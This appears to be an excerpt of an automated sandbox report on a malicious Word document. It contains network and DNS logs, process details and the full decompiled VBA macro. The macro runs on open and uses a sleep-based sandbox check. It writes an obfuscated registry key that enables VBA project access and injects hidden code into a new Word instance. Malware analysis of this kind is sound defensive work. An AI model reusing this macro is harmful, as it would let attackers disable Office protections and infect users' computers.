| Jan 13, 2025 21:38:22.580241919 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:22.580286026 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:22.861990929 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:22.862123966 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:35.781446934 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:35.781575918 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:35.789077997 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:35.789086103 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.116760969 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.116796970 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.116867065 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:36.116913080 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:36.136993885 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:36.137190104 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:36.141851902 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.141988039 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.332978010 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.333040953 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:38:36.482795000 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:38:36.483074903 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:39:02.161922932 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:39:02.161922932 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:39:02.166960955 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:39:02.167140961 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:39:02.467547894 CET | 80 | 49712 | 104.21.84.174 | 192.168.2.26 |
| Jan 13, 2025 21:39:02.470141888 CET | 49712 | 80 | 192.168.2.26 | 104.21.84.174 |
| Jan 13, 2025 21:39:05.713710070 CET | 62334 | 53 | 192.168.2.26 | 1.1.1.1 |
| Jan 13, 2025 21:39:05.718600988 CET | 53 | 62334 | 1.1.1.1 | 192.168.2.26 |
| Jan 13, 2025 21:39:05.718677044 CET | 62334 | 53 | 192.168.2.26 | 1.1.1.1 |
| Jan 13, 2025 21:39:05.723474979 CET | 53 | 62334 | 1.1.1.1 | 192.168.2.26 |
| Jan 13, 2025 21:39:06.205055952 CET | 62334 | 53 | 192.168.2.26 | 1.1.1.1 |
| Jan 13, 2025 21:39:06.210057974 CET | 53 | 62334 | 1.1.1.1 | 192.168.2.26 |
| Jan 13, 2025 21:39:06.210118055 CET | 62334 | 53 | 192.168.2.26 | 1.1.1.1 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 13, 2025 21:37:32.943687916 CET | 54052 | 53 | 192.168.2.26 | 1.1.1.1 |
| Jan 13, 2025 21:37:32.954824924 CET | 53 | 54052 | 1.1.1.1 | 192.168.2.26 |
| Jan 13, 2025 21:39:05.713301897 CET | 53 | 59706 | 1.1.1.1 | 192.168.2.26 |
| Jan 13, 2025 21:39:14.944700003 CET | 59706 | 53 | 192.168.2.26 | 1.1.1.1 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Jan 13, 2025 21:37:32.943687916 CET | 192.168.2.26 | 1.1.1.1 | 0x68d3 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Jan 13, 2025 21:39:14.944700003 CET | 192.168.2.26 | 1.1.1.1 | 0x18d0 | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Jan 13, 2025 21:36:54.125360012 CET | 1.1.1.1 | 192.168.2.26 | 0x8762 | No error (0) | 199.232.210.172 | A (IP address) | IN (0x0001) | false | ||
| Jan 13, 2025 21:36:54.125360012 CET | 1.1.1.1 | 192.168.2.26 | 0x8762 | No error (0) | 199.232.214.172 | A (IP address) | IN (0x0001) | false | ||
| Jan 13, 2025 21:37:32.954824924 CET | 1.1.1.1 | 192.168.2.26 | 0x68d3 | No error (0) | 104.21.84.174 | A (IP address) | IN (0x0001) | false | ||
| Jan 13, 2025 21:37:32.954824924 CET | 1.1.1.1 | 192.168.2.26 | 0x68d3 | No error (0) | 172.67.195.112 | A (IP address) | IN (0x0001) | false | ||
| Jan 13, 2025 21:39:14.952244043 CET | 1.1.1.1 | 192.168.2.26 | 0x18d0 | No error (0) | global.asimov.events.data.trafficmanager.net | CNAME (Canonical name) | IN (0x0001) | false |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.26 | 49712 | 104.21.84.174 | 80 | 5828 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| Jan 13, 2025 21:37:32.964709044 CET | 257 | OUT | |
| Jan 13, 2025 21:37:32.965065956 CET | 84 | OUT | |
| Jan 13, 2025 21:37:33.623665094 CET | 1000 | IN | |
| Jan 13, 2025 21:37:50.850955009 CET | 303 | OUT | |
| Jan 13, 2025 21:37:50.851094961 CET | 84 | OUT | |
| Jan 13, 2025 21:37:51.108333111 CET | 943 | IN | |
| Jan 13, 2025 21:38:06.470473051 CET | 303 | OUT | |
| Jan 13, 2025 21:38:06.470580101 CET | 84 | OUT | |
| Jan 13, 2025 21:38:06.742177010 CET | 946 | IN | |
| Jan 13, 2025 21:38:22.568747997 CET | 303 | OUT | |
| Jan 13, 2025 21:38:22.568927050 CET | 84 | OUT | |
| Jan 13, 2025 21:38:22.861990929 CET | 954 | IN | |
| Jan 13, 2025 21:38:35.781446934 CET | 303 | OUT | |
| Jan 13, 2025 21:38:35.781575918 CET | 84 | OUT | |
| Jan 13, 2025 21:38:36.116760969 CET | 1236 | IN | |
| Jan 13, 2025 21:38:36.116796970 CET | 641 | IN | |
| Jan 13, 2025 21:38:36.136993885 CET | 302 | OUT | |
| Jan 13, 2025 21:38:36.137190104 CET | 69 | OUT | |
| Jan 13, 2025 21:38:36.332978010 CET | 833 | IN | |
| Jan 13, 2025 21:38:36.482795000 CET | 5 | IN | |
| Jan 13, 2025 21:39:02.161922932 CET | 302 | OUT | |
| Jan 13, 2025 21:39:02.161922932 CET | 69 | OUT | |
| Jan 13, 2025 21:39:02.467547894 CET | 839 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 15:36:58 |
| Start date: | 13/01/2025 |
| Path: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff63f440000 |
| File size: | 1'637'952 bytes |
| MD5 hash: | A9F0EC89897AC6C878D217DFB64CA752 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | false |
| Target ID: | 7 |
| Start time: | 15:37:26 |
| Start date: | 13/01/2025 |
| Path: | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff63f440000 |
| File size: | 1'637'952 bytes |
| MD5 hash: | A9F0EC89897AC6C878D217DFB64CA752 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | true |
| Target ID: | 9 |
| Start time: | 15:37:31 |
| Start date: | 13/01/2025 |
| Path: | C:\Windows\System32\mshta.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff64baa0000 |
| File size: | 32'768 bytes |
| MD5 hash: | 36D15DDE6D71802D9588CC0D48EDF8EA |
| Has elevated privileges: | false |
| Has administrator privileges: | false |
| Programmed in: | C, C++ or other language |
| Yara matches: |
|
| Reputation: | moderate |
| Has exited: | false |
Call Graph
Graph
- Entrypoint
- Decryption Function
- Executed
- Not Executed
- Show Help
Module: ThisDocument
Declaration
| Line | Content |
|---|---|
| 1 | Attribute VB_Name = "ThisDocument" |
| 2 | Attribute VB_Base = "1Normal.ThisDocument" |
| 3 | Attribute VB_GlobalNameSpace = False |
| 4 | Attribute VB_Creatable = False |
| 5 | Attribute VB_PredeclaredId = True |
| 6 | Attribute VB_Exposed = True |
| 7 | Attribute VB_TemplateDerived = True |
| 8 | Attribute VB_Customizable = True |
| 9 | Public objApp, wsl |
| APIs | Meta Information |
|---|---|
Unprotect | |
Shapes | |
ActiveDocument | |
Panes | |
Delete | |
Save | |
Now | |
Now | |
TimeValue | |
DoEvents | |
Now | |
TimeValue | |
Part of subcall function verydanger@ThisDocument: CreateObject | |
Part of subcall function verydanger@ThisDocument: RegWrite | |
Part of subcall function verydanger@ThisDocument: Version | |
Part of subcall function verydanger@ThisDocument: Application | |
CreateObject | CreateObject( |
Visible | |
Documents | |
Variables | |
ActiveDocument | |
Add | |
Name | |
AddFromString | |
vbCrLf | |
Part of subcall function danger@ThisDocument: Item | |
ExpandEnvironmentStrings | IWshShell3.ExpandEnvironmentStrings( |
Name | |
ActiveDocument | |
SaveAs2 | |
Close | |
Part of subcall function kokokokoko@ThisDocument: Open | |
Part of subcall function kokokokoko@ThisDocument: Save | |
Part of subcall function kokokokoko@ThisDocument: Close |
| Strings | Decrypted Strings |
|---|---|
| "oikmseM#*inmowefj8349an3" | |
| "00:00:15" | |
| "Word.Application" | |
| "Sub goods() : : End Sub" | |
| "ThisDocument" | |
| "%localapp""data%\T""emp" |
| Line | Instruction | Meta Information |
|---|---|---|
| 24 | Sub documeNt_opEn() | |
| 25 | On Error Resume Next | executed |
| 26 | ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3") | Unprotect |
| 27 | For i = ActiveDocument.Shapes.Count To ActiveDocument.Shapes.Count + 1 - ActiveDocument.ActiveWindow.Panes(1).Pages.Count * 2 Step - 1 | Shapes ActiveDocument Panes |
| 28 | ActiveDocument.Shapes(i).Delete | Delete |
| 29 | Next i | Shapes ActiveDocument Panes |
| 30 | ActiveDocument.Save | Save |
| 31 | sss = Now() | Now |
| 32 | While Now < sss + TimeValue("00:00:20") | Now TimeValue |
| 33 | DoEvents | DoEvents |
| 34 | Wend | Now TimeValue |
| 35 | If Now() - sss < TimeValue("00:00:15") Then | Now TimeValue |
| 35 | Exit Sub | |
| 35 | Endif | |
| 36 | verydanger | |
| 37 | Set objApp = CreateObject("Word.Application") | CreateObject( |
| 38 | objApp.Visible = False | Visible |
| 39 | Set doc = objApp.Documents.Add | Documents |
| 40 | For Each vars in ActiveDocument.Variables | Variables ActiveDocument |
| 41 | doc.Variables.Add vars.Name & "ergegdr", vars | Add Name |
| 42 | i = i + 1 | |
| 43 | Next | Variables ActiveDocument |
| 44 | doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString "Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf & danger() | AddFromString vbCrLf |
| 45 | tmp = wsl.ExpandEnvironmentStrings("%localapp" & "data%\T" & "emp") & "\" & ActiveDocument.Name & ".doc" | IWshShell3.ExpandEnvironmentStrings( Name ActiveDocument executed |
| 46 | doc.SaveAs2 tmp, 13 | SaveAs2 |
| 47 | doc.Close | Close |
| 48 | kokokokoko (tmp) | |
| 49 | End Sub |
| APIs | Meta Information |
|---|---|
Open | Documents.Open( |
Save | |
Close |
| Line | Instruction | Meta Information |
|---|---|---|
| 13 | Function kokokokoko(namedoc) | |
| 14 | Set doc2 = objApp.Documents.Open(namedoc) | Documents.Open( |
| 15 | doc2.Save | Save |
| 16 | doc2.Close | Close |
| 17 | End Function |
| APIs | Meta Information |
|---|---|
CreateObject | CreateObject( |
RegWrite | |
Version | |
Application |
| Strings | Decrypted Strings |
|---|---|
| "WSc""ript.She" | |
| "HK""CU\Softw""are\Micr""osoft\Of""fice\" | |
| "REG_D""WORD" |
| Line | Instruction | Meta Information |
|---|---|---|
| 18 | Sub verydanger() | |
| 19 | strng = "WSc" & "ript.She" | executed |
| 20 | strng = strng & "ll" | |
| 21 | Set wsl = CreateObject(strng) | CreateObject( |
| 22 | wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of" & "fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" & "ssVBO" & "M", 1, "REG_D" & "WORD" | RegWrite Version Application |
| 23 | End Sub |
| APIs | Meta Information |
|---|---|
Item |
| Strings | Decrypted Strings |
|---|---|
| "s2" |
| Line | Instruction | Meta Information |
|---|---|---|
| 10 | Function danger() | |
| 11 | danger = ActiveDocument.Variables.Item("s2") | Item executed |
| 12 | End Function |